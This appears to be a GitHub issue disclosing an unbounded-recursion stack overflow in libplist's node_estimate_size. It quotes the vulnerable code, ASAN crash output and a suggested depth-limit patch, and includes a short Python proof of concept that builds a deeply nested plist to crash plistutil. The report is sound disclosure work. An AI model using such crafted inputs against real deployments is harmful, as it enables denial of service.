A stack overflow in xplist.c #289
Description
Description
When calculating the size of a node, the node_estimate_size function does not limit the depth, resulting in a stack overflow.
plist_err_t plist_to_xml(plist_t plist, char **plist_xml, uint32_t * length)
{
[...]
res = node_estimate_size((node_t)plist, &size, 0, prettify);
[...]
}
static plist_err_t node_estimate_size(node_t node, uint64_t *size, uint32_t depth)
{
plist_data_t data;
if (!node) {
return PLIST_ERR_INVALID_ARG;
}
data = plist_get_data(node);
if (node->children) {
node_t ch;
for (ch = node_first_child(node); ch; ch = node_next_sibling(ch)) {
node_estimate_size(ch, size, depth + 1);
}
[...]
}PoC
cnt = 500000
prefix = "<array>"
suffix = "</array>"
plist = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
""" + prefix * cnt + suffix * cnt + "</plist>"
with open("1.plist", "w") as f:
f.write(plist)plistutil -i 1.plist -f xmlASAN Output
AddressSanitizer:DEADLYSIGNAL
=================================================================
==2205167==ERROR: AddressSanitizer: stack-overflow on address 0x7ffef9e80ff8 (pc 0x78b9b1c5e5bf bp 0x7ffef9e81020 sp 0x7ffef9e80fe0 T0)
#0 0x78b9b1c5e5bf in node_estimate_size ../src/xplist.c:448
#1 0x78b9b1c5e64b in node_estimate_size ../src/xplist.c:457
#2 0x78b9b1c5e64b in node_estimate_size ../src/xplist.c:457
[...]
SUMMARY: AddressSanitizer: stack-overflow ../src/xplist.c:448 in node_estimate_size
==2205167==ABORTINGSuggestion Repair
When entering the node_estimate_size function or before calling the node_estimate_size function, check the depth. If it is greater than a certain value, return an error message.
diff --git a/src/xplist.c b/src/xplist.c
index dc5213b..5323051 100644
--- a/src/xplist.c
+++ b/src/xplist.c
@@ -446,6 +446,10 @@ static int num_digits_u(uint64_t i)
static plist_err_t node_estimate_size(node_t node, uint64_t *size, uint32_t depth)
{
+ if (depth > 1000) {
+ PLIST_XML_WRITE_ERR("XML is nested too deeply\n");
+ return PLIST_ERR_FORMAT;
+ }
plist_data_t data;
if (!node) {
return PLIST_ERR_INVALID_ARG;